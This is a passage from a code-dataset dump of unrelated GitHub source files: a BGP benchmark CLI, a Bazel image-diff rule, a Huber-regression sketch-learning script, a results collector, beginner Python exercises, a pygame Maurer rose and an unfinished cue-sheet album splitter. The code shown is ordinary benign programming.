'--no-cache', action='store_true')\n parser_prepare.set_defaults(func=prepare)\n\n parser_update = s.add_parser('update', help='rebuild bgp docker images')\n parser_update.add_argument('image', choices=['exabgp', 'exabgp_mrtparse', 'gobgp', 'bird', 'quagga', 'all'])\n parser_update.add_argument('-c', '--checkout', default='HEAD')\n parser_update.add_argument('-n', '--no-cache', action='store_true')\n parser_update.set_defaults(func=update)\n\n def add_gen_conf_args(parser):\n parser.add_argument('-n', '--neighbor-num', default=100, type=int)\n parser.add_argument('-p', '--prefix-num', default=100, type=int)\n parser.add_argument('-l', '--filter-type', choices=['in', 'out'], default='in')\n parser.add_argument('-a', '--as-path-list-num', default=0, type=int)\n parser.add_argument('-e', '--prefix-list-num', default=0, type=int)\n parser.add_argument('-c', '--community-list-num', default=0, type=int)\n parser.add_argument('-x', '--ext-community-list-num', default=0, type=int)\n parser.add_argument('-s', '--single-table', action='store_true')\n parser.add_argument('--target-config-file', type=str,\n help='target BGP daemon\\'s configuration file')\n parser.add_argument('--local-address-prefix', type=str, default='10.10.0.0/16',\n help='IPv4 prefix used for local addresses; default: 10.10.0.0/16')\n parser.add_argument('--target-local-address', type=str,\n help='IPv4 address of the target; default: the last address of the '\n 'local prefix given in --local-address-prefix')\n parser.add_argument('--target-router-id', type=str,\n help='target\\' router ID; default: same as --target-local-address')\n parser.add_argument('--monitor-local-address', type=str,\n help='IPv4 address of the monitor; default: the second address of the '\n 'local prefix given in --local-address-prefix')\n parser.add_argument('--monitor-router-id', type=str,\n help='monitor\\' router ID; default: same as --monitor-local-address')\n\n parser_bench = s.add_parser('bench', help='run benchmarks')\n parser_bench.add_argument('-t', '--target', choices=['gobgp', 'bird', 'quagga'], default='gobgp')\n parser_bench.add_argument('-i', '--image', help='specify custom docker image')\n parser_bench.add_argument('--docker-network-name', help='Docker network name; this is the name given by \\'docker network ls\\'')\n parser_bench.add_argument('--bridge-name', help='Linux bridge name of the '\n 'interface corresponding to the Docker network; '\n 'use this argument only if bgperf can\\'t '\n 'determine the Linux bridge name starting from '\n 'the Docker network name in case of tests of '\n 'remote targets.')\n parser_bench.add_argument('-r', '--repeat', action='store_true', help='use existing tester/monitor container')\n parser_bench.add_argument('-f', '--file', metavar='CONFIG_FILE')\n parser_bench.add_argument('-g', '--cooling', default=0, type=int)\n parser_bench.add_argument('-o', '--output', metavar='STAT_FILE')\n add_gen_conf_args(parser_bench)\n parser_bench.set_defaults(func=bench)\n\n parser_config = s.add_parser('config', help='generate config')\n parser_config.add_argument('-o', '--output', default='bgperf.yml', type=str)\n add_gen_conf_args(parser_config)\n parser_config.set_defaults(func=config)\n\n\n args = parser.parse_args()\n args.func(args)\n","repo_name":"PacktPublishing/Python-Network-Programming-Cookbook-Second-Edition","sub_path":"Chapter14/14_2_benchmark_with_bgperf/bgperf.py","file_name":"bgperf.py","file_ext":"py","file_size_in_byte":22132,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"72"} +{"seq_id":"22363462074","text":"load(\n \"//skylib:filetype.bzl\",\n container_filetype = \"container\",\n)\n\n# Implementation of idd\ndef _impl(ctx):\n runfiles = ctx.runfiles(files = [ctx.file.image1, ctx.file.image2] + ctx.files._idd_script)\n\n ctx.actions.write(\n output = ctx.outputs.executable,\n content = \"set -x && python {idd_script} {tar1_path} {tar2_path} {args}\".format(\n idd_script = ctx.executable._idd_script.short_path,\n tar1_path = ctx.file.image1.short_path,\n tar2_path = ctx.file.image2.short_path,\n args = \" \".join(ctx.attr.args),\n ),\n )\n\n return [DefaultInfo(runfiles = runfiles)]\n\nidd = rule(\n attrs = {\n \"image1\": attr.label(\n mandatory = True,\n allow_single_file = container_filetype,\n ),\n \"image2\": attr.label(\n mandatory = True,\n allow_single_file = container_filetype,\n ),\n \"_idd_script\": attr.label(\n default = \":idd\",\n executable = True,\n allow_files = True,\n cfg = \"host\",\n ),\n },\n executable = True,\n implementation = _impl,\n)\n","repo_name":"xwinxu/RBE-Toolchain","sub_path":"rules-docker_migration/rules_docker/contrib/idd.bzl","file_name":"idd.bzl","file_ext":"bzl","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"39802382372","text":"import argparse\nimport os\nimport torch\nfrom data.ghg import getGHG\nfrom data.gas import getGas\nfrom data.electric import getElectric\nfrom evaluate import *\nfrom pathlib import Path\nimport sys\nimport copy\nimport time\nimport math\nimport random\nfrom misc_utils import *\nimport warnings\nimport itertools\nfrom tqdm import tqdm\nimport numpy as np\nfrom sklearn.datasets import make_regression\nfrom sklearn.linear_model import HuberRegressor, LinearRegression\nfrom torch.autograd import Variable\nfrom evaluate import *\n\n\ndef make_parser_reg():\n parser = argparse.ArgumentParser()\n\n def aa(*args, **kwargs):\n parser.add_argument(*args, **kwargs)\n\n aa(\"--data\", type=str, default=\"gas\", help=\"ghg|gas|electric\")\n # aa(\"--dataname\", type=str, default=\"mit\", help=\"eagle|mit|friends\")\n aa(\"--m\", type=int, default=10, help=\"m for S\")\n #aa(\"--iter\", type=int, default=100, help=\"total iterations\")\n aa(\"--iter\", type=int, default=100000, help=\"total iterations\")\n aa(\"--random\", default=False, action='store_true',\n help=\"don't learn S! Just compute error on random S\")\n\n aa(\"--size\", type=int, default=2900, help=\"dataset size\")\n #aa(\"--lr\", type=float, default=1e-1, help=\"learning rate for gradient descent\")\n aa(\"--lr\", type=float, default=5e-3, help=\"learning rate for gradient descent\")\n\n aa(\"--raw\", dest='raw', default=True,\n action='store_true', help=\"generate raw?\")\n aa(\"--bestonly\", dest='bestonly', default=False,\n action='store_true', help=\"only compute best?\")\n aa(\"--device\", type=str, default=\"cuda:0\")\n\n # aa(\"--n_sample_rows\", type=int, default=-1, help=\"Train with n_sample_rows rows\")\n aa(\"--k_sparse\", type=int, default=1,\n help=\"number of values in a column of S, sketching mat\")\n aa(\"--num_exp\", type=int, default=1,\n help=\"number of times to rerun the experiment (for avg'ing results)\")\n #aa(\"--bs\", type=int, default=10, help=\"batch size\")\n aa(\"--bs\", type=int, default=32, help=\"batch size\")\n\n aa(\"--initalg\", type=str, default=\"random\",\n help=\"random|kmeans|lev|gs|lev_cluster|load\")\n aa(\"--load_file\", type=str, default=\"\",\n help=\"if initalg=load, where to get S?\")\n\n aa(\"--save_fldr\", type=str,\n help=\"folder to save experiment results into; if None, then general folder\") # default: None\n aa(\"--save_file\", type=str, help=\"append to runtype, if not None\")\n\n aa(\"--S_init_method\", type=str, default=\"gaussian\",\n help=\"pm1|gaussian|gaussian_pm1\")\n aa(\"--greedy_number\", type=int, default=3,\n help=\"the number of sampling\")\n return parser\n\n\nif __name__ == '__main__':\n runtype = \"train_regression_huber\"\n parser = make_parser_reg()\n args = parser.parse_args()\n rawdir = \"/home/lynette\"\n rltdir = \"/home/lynette\"\n print(args)\n m = args.m\n\n if args.data == 'ghg':\n save_dir_prefix = os.path.join(rltdir, \"rlt\", \"ghg+huber\")\n elif args.data == 'gas':\n save_dir_prefix = os.path.join(rltdir, \"rlt\", \"gas+huber\")\n elif args.data == 'electric':\n save_dir_prefix = os.path.join(rltdir, \"rlt\", \"electric+huber\")\n else:\n print(\"Wrong data option!\")\n sys.exit()\n if args.save_file:\n runtype = runtype + \"_\" + args.save_file\n if args.save_fldr:\n save_dir = os.path.join(\n save_dir_prefix, args.save_fldr, args_to_fldrname(runtype, args))\n else:\n save_dir = os.path.join(\n save_dir_prefix, args_to_fldrname(runtype, args))\n best_fl_save_dir = os.path.join(save_dir_prefix, \"best_files\")\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n if not os.path.exists(best_fl_save_dir):\n os.makedirs(best_fl_save_dir)\n\n lr = args.lr # default = 1\n if args.data == \"ghg\":\n AB_train, AB_test, n, d_a, d_b = getGHG(\n args.raw, args.size, rawdir, 100)\n A_train = AB_train[0]\n B_train = AB_train[1]\n A_test = AB_test[0]\n B_test = AB_test[1]\n elif args.data == \"gas\":\n AB_train, AB_test, n, d_a, d_b = getGas(args.raw, rawdir, 100)\n A_train = AB_train[0]\n B_train = AB_train[1]\n A_test = AB_test[0]\n B_test = AB_test[1]\n elif args.data == \"electric\":\n AB_train, AB_test, n, d_a, d_b = getElectric(args.raw, rawdir, 100)\n A_train = AB_train[0]\n B_train = AB_train[1]\n A_test = AB_test[0]\n B_test = AB_test[1]\n\n print(\"Working on data \", args.data)\n Path(save_dir).mkdir(parents=True, exist_ok=True)\n N_train = len(A_train)\n N_test = len(A_test)\n print(\"Dim= \", n, d_a, d_b)\n print(\"N train=\", N_train, \"N test=\", N_test)\n p = 1.5\n best_file = os.path.join(best_fl_save_dir, \"N=\" + str(args.size) + '_best')\n if (not os.path.isfile(best_file)):\n print(\"computing best huber regression approximations\")\n getbest_hb_regression(A_train, B_train, A_test, B_test, best_file)\n else:\n print(\"already got the best huber regression\")\n best_train, best_test = torch.load(best_file)\n print(\"best train\", best_train)\n print(\"best test\", best_test)\n start = time.time()\n print_freq = 10 # TODO\n args_save_fpath = os.path.join(save_dir, \"args_it_0.pkl\")\n f = open(args_save_fpath, \"wb\")\n pickle.dump(vars(args), f)\n f.close()\n\n avg_over_exps = 0\n for exp_num in range(args.num_exp):\n\n it_save_dir = os.path.join(save_dir, \"exp_%d\" % exp_num)\n it_print_freq = print_freq\n it_lr = lr\n if not os.path.exists(it_save_dir):\n os.makedirs(it_save_dir)\n test_errs = []\n train_errs = []\n fp_times = []\n bp_times = []\n\n # Initialize sparsity pattern\n if args.initalg == \"random\":\n sketch_vector = torch.randint(m, [args.k_sparse, n]).int()\n print(\"-----------doing random-----------\")\n elif args.initalg == \"load\":\n # TODO: not implemented for ksparse\n initalg = initalg_name2fn_dict[args.initalg]\n sketch_vector, sketch_value_cpu, active_ind = initalg(\n args.load_file, exp_num, n, m)\n sketch_value = sketch_value_cpu.detach()\n\n # Note: we sample with repeats, so you may map 1 row of A to <k_sparse distinct locations\n sketch_vector.requires_grad = False\n if args.initalg != \"load\":\n if args.S_init_method == \"pm1\":\n #sketch_value = ((torch.randint(2, [args.k_sparse, n]).float() - 0.5) * 2).to(device)\n sketch_value = (\n (torch.randint(2, [args.k_sparse, n]).float() - 0.5) * 2).cpu()\n elif args.S_init_method == \"gaussian\":\n #sketch_value = torch.from_numpy(np.random.normal(size=[args.k_sparse, n]).astype(\"float32\")).to(device)\n sketch_value = torch.from_numpy(np.random.normal(\n size=[args.k_sparse, n]).astype(\"float32\")).cpu()\n elif args.S_init_method == \"gaussian_pm1\":\n #sketch_value = ((torch.randint(2, [args.k_sparse, n]).float() - 0.5) * 2).to(device)\n sketch_value = (\n (torch.randint(2, [args.k_sparse, n]).float() - 0.5) * 2).cpu()\n #sketch_value = sketch_value + torch.from_numpy(np.random.normal(size=[args.k_sparse, n]).astype(\"float32\")).to(device)\n sketch_value = sketch_value + torch.from_numpy(\n np.random.normal(size=[args.k_sparse, n]).astype(\"float32\")).cpu()\n\n##############################Greedy Init#####################################\n greedy_fl_save_dir = os.path.join(save_dir_prefix, \"greedy_matrix\")\n greedy_file = os.path.join(\n greedy_fl_save_dir, \"N=\" + str(args.size) + '_greedy')\n if not os.path.exists(greedy_fl_save_dir):\n os.makedirs(greedy_fl_save_dir)\n best_temp = 0\n if (not os.path.isfile(greedy_file)):\n #S_add = torch.zeros(m, n).to(device)\n S_add = torch.zeros(m, n).cpu()\n\n #S = torch.zeros(m, n).to(device)\n S = torch.zeros(m, n).cpu()\n\n S[sketch_vector.type(torch.LongTensor).reshape(-1), torch.arange(n).repeat(\n args.k_sparse)] = sketch_value.reshape(-1)\n S_original = S_add + S\n print(\"now calculating the greedy init S\")\n # best_temp = evaluate_to_rule_them_all_huber_regression(\n # A_train[0:1], B_train[0:1], S)\n best_temp = evaluate_to_rule_them_all_huber_regression(\n A_train, B_train, S)\n for i in range(S.shape[1]):\n random_vector = torch.tensor(\n random.sample(range(0, m), args.greedy_number))\n random_value = torch.from_numpy(np.random.random_sample(\n args.greedy_number,).astype(\"float32\")*4-2)\n loc = sketch_vector[0][i]\n val = sketch_value[0][i]\n for j in range(random_vector.shape[0]):\n for k in range(random_value.shape[0]):\n S_temp = S+S_add\n for l in range(m):\n S_temp[l][i] = 0\n S_temp[random_vector[j]][i] = random_value[k]\n now_evaluate = evaluate_to_rule_them_all_huber_regression(\n A_train[0:1], B_train[0:1], S_temp)\n if now_evaluate < best_temp:\n loc = random_vector[j]\n val = S_temp[loc][i]\n S[loc][i] = val\n best_temp = now_evaluate\n print()\n sketch_value[0][i] = val\n sketch_vector[0][i] = loc\n if i % 50 == 0:\n print(\"initing greedily S \", i/n*100, \"%\")\n random_train = evaluate_to_rule_them_all_huber_regression(\n A_train[0:1], B_train[0:1], S_original)\n torch.save([S_original, random_train, best_temp,\n sketch_value, sketch_vector], greedy_file)\n S_original, random_train, best_temp, sketch_value, sketch_vector = torch.load(\n greedy_file)\n print(\"before greedy initing,best_train:\",\n random_train)\n print(\"After greedy initing, best_train:\", best_temp)\n##############################Greedy Init#####################################\n\n sketch_value.requires_grad = True\n\n#######################zero_vector for Matrix stacking S#######################\n h = math.floor(math.log(n, 2))\n list = []\n for i in range(1, h):\n up_bound = math.floor(n/(pow(2, i)))\n list.append(torch.tensor(\n random.sample(range(0, n), int(up_bound))))\n\n#######################zero_vector for Matrix stacking S########################\n\n#################################D_Matrix####################################\n DMatrix_fl_save_dir = os.path.join(save_dir_prefix, \"D_matrix\")\n DMatrix_file = os.path.join(\n DMatrix_fl_save_dir, \"N=\" + str(args.size) + '_DMatrix')\n if not os.path.exists(DMatrix_fl_save_dir):\n os.makedirs(DMatrix_fl_save_dir)\n if (not os.path.isfile(DMatrix_file)):\n print(\"making D matrix\")\n D = torch.zeros(\n h * S.shape[0], h * S.shape[0]).cpu()\n # h*S.shape[0], h*S.shape[0]).to(device)\n k = 0\n for i in range(D.shape[0]):\n for j in range(D.shape[1]):\n if i == j:\n D[i, j] = pow(2, k)\n if (j+1) % m == 0:\n k = k + 1\n break\n torch.save([D], DMatrix_file)\n #D = torch.load(DMatrix_file)[0].to(device)\n D = torch.load(DMatrix_file)[0].cpu()\n\n#################################D_Matrix####################################\n\n for bigstep in tqdm(range(args.iter)):\n if (bigstep % 1000 == 0) and it_lr > 1:\n it_lr = it_lr * 0.1\n if bigstep > 200:\n it_print_freq = 200\n\n fp_start_time = time.time()\n # to randomly choose for gd\n batch_rand_ind = np.random.randint(0, high=N_train, size=args.bs)\n #AM = A_train[batch_rand_ind].to(device)\n AM = A_train[batch_rand_ind].cpu()\n\n #BM = B_train[batch_rand_ind].to(device)\n BM = B_train[batch_rand_ind].cpu()\n\n #S = torch.zeros(m, n).to(device)\n S = torch.zeros(m, n).cpu()\n\n #S[sketch_vector.type(torch.LongTensor).reshape(-1), torch.arange(n).repeat(args.k_sparse)] = sketch_value.reshape(-1)\n S[sketch_vector.type(torch.LongTensor).reshape(-1), torch.arange(n).repeat(\n args.k_sparse)] = sketch_value.reshape(-1).cpu()\n if bigstep % it_print_freq == 0 or bigstep == (args.iter - 1):\n train_err, test_err = save_iteration_huber_regression(\n S, A_train, B_train, A_test, B_test, it_save_dir, bigstep, p)\n train_errs.append(train_err)\n test_errs.append(test_err)\n if bigstep == (args.iter - 1):\n avg_over_exps += (test_err/args.num_exp)\n if args.random:\n # don't train! after evaluating, exit trial\n break\n #S_add = torch.zeros(m, n).to(device)\n S_add = torch.zeros(m, n).cpu()\n\n S_result = S+S_add\n for i in range(1, h):\n #S_add = torch.zeros(m, n)\n S_temp = S+S_add\n for j in range(len(list)):\n for k in range(m):\n S_temp[k][list[j]] = 0\n S_result = torch.cat([S_result, S_temp], dim=0)\n S_mul = torch.matmul(D, S_result)\n SA = torch.matmul(S_mul, AM)\n SB = torch.matmul(S_mul, BM)\n X = huber_regression(SA, SB)\n ans = AM.matmul(X.float())\n crit = torch.nn.SmoothL1Loss()\n loss = crit(ans, BM)\n # print(\"loss this time:\", loss.item())\n fp_times.append(time.time() - fp_start_time)\n bp_start_time = time.time()\n loss.backward()\n bp_times.append(time.time() - bp_start_time)\n # TODO: Maybe don't have to divide by args.bs: is this similar to lev_score_experiments bug?\n # However, if you change it, then you need to compensate in lr... all old exp will be invalidated\n with torch.no_grad():\n if args.initalg == \"load\":\n sketch_value[active_ind] -= (it_lr / args.bs) * \\\n sketch_value.grad[active_ind]\n sketch_value.grad.zero_()\n else:\n sketch_value -= (it_lr / args.bs) * sketch_value.grad\n sketch_value.grad.zero_()\n # del SA, SB, U, Sig, V, X, ans, loss\n del SA, SB, X, ans, loss\n torch.cuda.empty_cache()\n np.save(os.path.join(it_save_dir, \"train_errs.npy\"),\n train_errs, allow_pickle=True)\n np.save(os.path.join(it_save_dir, \"test_errs.npy\"),\n test_errs, allow_pickle=True)\n np.save(os.path.join(it_save_dir, \"fp_times.npy\"),\n fp_times, allow_pickle=True)\n np.save(os.path.join(it_save_dir, \"bp_times.npy\"),\n bp_times, allow_pickle=True)\n print(avg_over_exps)\n","repo_name":"sliu2019/learned_sketch","sub_path":"lowrank/train_huber_regression.py","file_name":"train_huber_regression.py","file_ext":"py","file_size_in_byte":15557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"4873090146","text":"import click\nimport pandas as pd\nfrom pathlib import Path\nimport json\nfrom types import SimpleNamespace\nimport subprocess\n\n\ndef collect_folders(bp):\n files = list(bp.rglob(\"*.tsv\"))\n folders = set()\n for f in files:\n folders.add(str(f)[0:str(f).rfind(\"_\")])\n return folders\n\n\ndef collect_results_glmnet(bp):\n ret = []\n # folders = collect_folders(bp)\n files = bp.rglob(\"*.eval.json\")\n for f in files:\n e = SimpleNamespace()\n line = subprocess.check_output(\n ['tail', '-1', f]).decode(\"ASCII\")\n try:\n e.err = line.split()[1]\n except:\n print(\"no error defined for: \", f)\n continue\n e.err = \"1\"\n e.fname = f.parent.name\n ret.append((e.fname, e.err))\n return ret\n\n\ndef collect_results_SEQL(bp):\n ret = []\n files = bp.rglob(\"*.eval.json\")\n for f in files:\n fp = Path(f)\n with open(fp) as ef:\n res = json.load(ef)\n try:\n err = res[\"Error\"]/100\n except KeyError:\n err = 1 - res[\"Accuracy\"]\n\n name = fp.parent.name\n ret.append((name, err))\n return ret\n\n\n@click.command()\n@click.option(\"-b\", \"--base_df\")\n@click.option(\"-o\", \"--output\", type=click.Path(file_okay=True, writable=True), required=True)\n@click.option('--item', nargs=2, type=click.Tuple([str,str]), multiple=True, required=True)\ndef cli(base_df, output,item): \n if not base_df is None:\n print('Base dataframe to use: %s' % base_df)\n df = pd.read_csv(Path(base_df).expanduser().resolve())\n df = df.set_index('Dataset')\n else:\n df = pd.DataFrame()\n\n for p, n in item:\n print('Collecting results for %s in: %s' % (n, p))\n p = Path(p).resolve()\n ret = collect_results_SEQL(p)\n n_df = pd.DataFrame(ret, columns=['Dataset', n])\n n_df = n_df.set_index('Dataset')\n print(\"Found %s entries for %s\" % (n_df.shape[0], n))\n if df.empty:\n df = n_df.join(df, how='outer')\n else:\n df = n_df.join(df, how='inner')\n\n print(\"Total entries: %s \" % df.shape[0])\n df.to_csv(Path(output).resolve())\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"heerme/seqlgbm","sub_path":"UCR/scripts/collect_results.py","file_name":"collect_results.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"25809306526","text":"jogadores = list()\nwhile True:\n p = dict()\n gol = []\n p[\"nome\"] = str(input('Nome do Jogador: '))\n p[\"partidas\"] = int(input(f'Quantas partidas {p[\"nome\"]} jogou? '))\n for i in range(0, p[\"partidas\"]):\n gol.append(int(input(f'Quantos gol na partida {i}? ')))\n p[\"gols\"] = gol\n print(f'O jogador {p[\"nome\"]} jogou {p[\"partidas\"]}.')\n for k, v in enumerate(gol):\n print(f'Na partida {k}, fez {v} gols.')\n print(f'Foi um total de {sum(gol)}')\n p[\"total\"] = sum(gol)\n print(p)\n jogadores.append(p.copy())\n cont = input('Desejar continuar? [S/N] ')\n if cont in 'Nn':\n break\nprint(jogadores)\nfor z, y in enumerate(jogadores):\n print(z, end=' ')\n print(y[\"nome\"], end=' ')\n print(y[\"gols\"], end=' ')\n print(y[\"total\"], end=' ')\n print()","repo_name":"eduardoschmitt/Python-3-Curso-em-V-deo","sub_path":"ex095.py","file_name":"ex095.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"39835173564","text":"import os\r\nimport time\r\ndef calcular_iva():\r\n print(\"CALCULO DE IVA\")\r\n sw = True\r\n while sw:\r\n try:\r\n os.system('cls')\r\n precio = int(input(\"Ingrese el precio del producto:\\n$\"))\r\n if (precio > 0):\r\n iva = round(precio * 0.19)\r\n total = round(precio + iva)\r\n print(f\" Monto Neto ${precio}\")\r\n print(f\" Iva 19% ${iva}\")\r\n print(\" -----------\")\r\n print(f\" Monto Total ${total}\")\r\n print(\"\")\r\n time.sleep(5)\r\n sw = False\r\n except:\r\n print(\"Valor no válido. Favor vuelva a ingresar la cantidad\") \r\n time.sleep(2)\r\n os.system('cls') \r\n\r\ndef descuento():\r\n print(\"CALCULO DE DESCUENTO\")\r\n sw = True\r\n while sw:\r\n try:\r\n os.system('cls')\r\n precio = int(input(\"Ingrese el precio del producto:\\n$\"))\r\n descuento = int(input(\"Ingrese el valor del descuento:\\n%\"))\r\n if (precio > 0):\r\n desc = descuento / 100\r\n v_descuento = round(precio * desc)\r\n total = round(precio - v_descuento)\r\n print(f\" Monto Neto ${precio}\")\r\n print(f\" Iva {descuento}% ${v_descuento}\")\r\n print(\" -----------\")\r\n print(f\" Monto Total ${total}\")\r\n print(\"\")\r\n time.sleep(5)\r\n sw = False\r\n except:\r\n print(\"Valor no válido. Favor vuelva a ingresar la cantidad\") \r\n time.sleep(2)\r\n os.system('cls')\r\n\r\ndef imc():\r\n sw = True\r\n while sw:\r\n try:\r\n os.system('cls')\r\n estatura = float(input(\"Ingrese su estatura:\\n\"))\r\n peso = float(input(\"Ingrese su peso:\\n\"))\r\n if (estatura >= 1 and peso >= 1):\r\n imc = round(peso / estatura ** 2,2)\r\n if imc < 18.5:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de BAJO PESO\")\r\n elif imc > 18.6 and imc < 24.9:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de ADECUADO\")\r\n elif imc > 25.0 and imc < 29.9:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de SOBREPESO\")\r\n elif imc > 30.0 and imc < 34.9:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de OBESIDAD GRADO 1\") \r\n elif imc > 35.0 and imc < 39.9:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de OBESIDAD GRADO 2\")\r\n elif imc > 40.0:\r\n print(f\"Su IMC es igual a {imc} por ende usted se encuentra en el rango de OBESIDAD GRADO 3\")\r\n print(\"\")\r\n time.sleep(5)\r\n sw = False\r\n except:\r\n print(\"Valor no válido. Favor vuelva a ingresar la cantidad\") \r\n time.sleep(2)\r\n os.system('cls') ","repo_name":"Cegu1971/Algoritmos","sub_path":"Funciones.py","file_name":"Funciones.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15177533269","text":"n = int(input())\r\nlis = list(map(int,input().split()))\r\nlis.sort()\r\nif n % 2 == 1:\r\n if lis[0] != 0:\r\n print(\"0\")\r\n exit()\r\n else:key = 0\r\nelse:key = -1\r\nfor i in range(n//2):\r\n if lis[i*2+key+1] != lis[i*2+key+2] or lis[i*2+key+2] != 2*(i+1) + key:\r\n print(\"0\")\r\n exit()\r\nans = 1\r\nfor i in range(n//2):\r\n ans *= 2\r\n ans %= 10 ** 9 +7\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc066/A/4115746.py","file_name":"4115746.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"15071662939","text":"N = int(input())\r\na = [int(input()) for i in range(N)]\r\n\r\nif 2 in a:\r\n\tl = 1\r\n\tcount = 0\r\n\twhile 1:\r\n\t\tif l==2:\r\n\t\t\tprint(count)\r\n\t\t\tbreak\r\n\t\telif a[l-1]==0:\r\n\t\t\tprint(-1)\r\n\t\t\tbreak\r\n\t\ttemp = l-1\r\n\t\tl = a[l-1]\r\n\t\ta[temp] = 0 \r\n\t\tcount += 1\r\nelse:\r\n\tprint(-1)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc065/B/4912620.py","file_name":"4912620.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"38313413572","text":"import sys\nimport pygame\nimport random\nimport math as m\nfrom svg.path import Path, Line, Arc, CubicBezier, QuadraticBezier\nfrom pygame.locals import *\n\n#Colors\nwhite = [255,255,255]\nblack = [0,0,0]\nred = [206, 32, 41]\ngreen = [0,155,0]\nyellow = [255, 225, 124]\norange = [255, 102, 75]\nbrick = [144, 56, 67]\nskin = [255, 252, 175]\nlime = [0,255,0]\nblue = [0,0,204]\npink = [255,0,127]\n\ncolors = [red,green,yellow,orange,brick,skin,lime,blue,pink]\n\n# this code only needs to be ran once\npygame.init()\nwidth = int(1400/2)\nheight = int(800/2)\nwindow = pygame.display.set_mode((int(width*2),int(height*2)),RESIZABLE)\nclock = pygame.time.Clock()\nFPS = 240\n\n#Assigning Variables\nx = 0\ny = 0\nr = 0\nn = 6\nd = 71\n\n\nwhile True:\n #allows user to exit the screen\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n \n window.fill(black) \n \n for i in range (50*361):\n \tk = i * d\n \tr = 500 * m.sin(n * k)\n \tx = r * m.cos(k)\n \ty = r * m.sin(k)\n \t#pygame.draw.circle(window,white,(int(x+width),int(y+height)),2)\n \tpygame.draw.line(window,white,(int(width),int(height)),(int(x+width),int(y+height)))\n \n #Background.set_alpha(25)\n #Background.fill(black) \n #window.blit(Background, (0,0))\n\t\n\t\n\n\n \n pygame.display.update()\n clock.tick(FPS)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"AntonioKaram/Projects-Java","sub_path":"Maurer Rose/Maurer Rose.py","file_name":"Maurer Rose.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4406512425","text":"#!/usr/bin/python3\n\nfrom pydub import AudioSegment as aud\nfrom deflacue import deflacue as cue\nimport sys\nimport os\nimport subprocess\nimport argparse\n\nversion = \"1.3.1\"\n\ndef yes_or_no(question):\n while \"the answer is invalid\":\n reply = str(input(question+' (y/n): ')).lower().strip()\n if reply[0] == 'y':\n return True\n if reply[0] == 'n':\n return False\n\ndef existing_file(string):\n if not os.path.isfile(string):\n raise argparse.ArgumentTypeError(repr(string) + \" not found.\")\n return string\n\ndef create_dir(string):\n if os.path.exists(string) and not os.path.isdir(string):\n raise argparse.ArgumentTypeError(repr(string) + \" exist but is not a directory.\")\n if not os.path.exists(string):\n os.makedirs(string)\n return string\n\ndef slugify(string):\n ilegals = [':', '\"', '/', '\\\\', '|']\n ilegalsInv = ['<', '>', '?', '*']\n for i in ilegals:\n string = string.replace(i, '-')\n for i in ilegalsInv:\n string = string.replace(i, '')\n return string\n\nparser = argparse.ArgumentParser(description='Splits albums files described with a cue sheet')\nparser.add_argument('album', type=existing_file, help='Input audio file of the album to split')\nparser.add_argument('cue', type=existing_file, help='Input cue sheet defining tracks of album')\nparser.add_argument('-d', '--dest', type=create_dir, default='.', help='Destination directory where track files will be written. Default: current directory')\nparser.add_argument('-c', '--cover', type=str, help='Cover image file')\nparser.add_argument('-f', '--format', type=str, default='flac', help='Output audio format, can be whatever ffmpeg is compatible with: http://www.ffmpeg.org/general.html#Audio-Codecs. Default: %(default)s')\nparser.add_argument('-s', '--string', type=str, default='%artist%/%year% - %album%/%track% - %title%', help='Formatting string for the output. Supported items are: %%artist%%, %%year%%, %%album%%, %%track%%, %%title%% and %%genre%%. Default: %(default)s')\nparser.add_argument('-v', '--version', action='store_true', default=False, help='Print version and quit')\nparser.add_argument('-V', '--verbose', action='store_true', default=False, help ='Make it more verbose')\nparser.add_argument('-bd', '--bitdepth', type=str, default='s16', help='Configure bitdepth of output files, accept ffmpeg bitdepth argument, use \"ffmpeg -sample-fmts\" to see available bit depths. Default: %(default)s')\nparser.add_argument('-sr', '--samplerate', type=str, default='44100', help='Configure sample rate of outpute files. Default: %(default)s')\nargs = parser.parse_args()\n\nif args.version:\n print (version)\n sys.exit(0)\n# Load\nprint(\"Loading metadata...\")\ntry:\n metadata = cue.CueParser(args.cue, encoding=\"utf-8\").get_data_tracks()\nexcept:\n print(\"not utf-8, going to try latin1\")\n try:\n metadata = cue.CueParser(args.cue, encoding=\"latin1\").get_data_tracks()\n except:\n print(\"not latin1 either, you're on your own now\")\n sys.exit(1)\n\nextension = os.path.splitext(args.album)[1][1:]\n\ngArtist = metadata[0]['PERFORMER']\nif not gArtist or not yes_or_no(\"Artist is: '\" + gArtist + \"', is it ok?\"):\n gArtist = input(\"Enter artist manually: \")\n\ngYear = metadata[0]['DATE']\nif not gYear or not yes_or_no(\"Year is: '\" + gYear + \"', is it 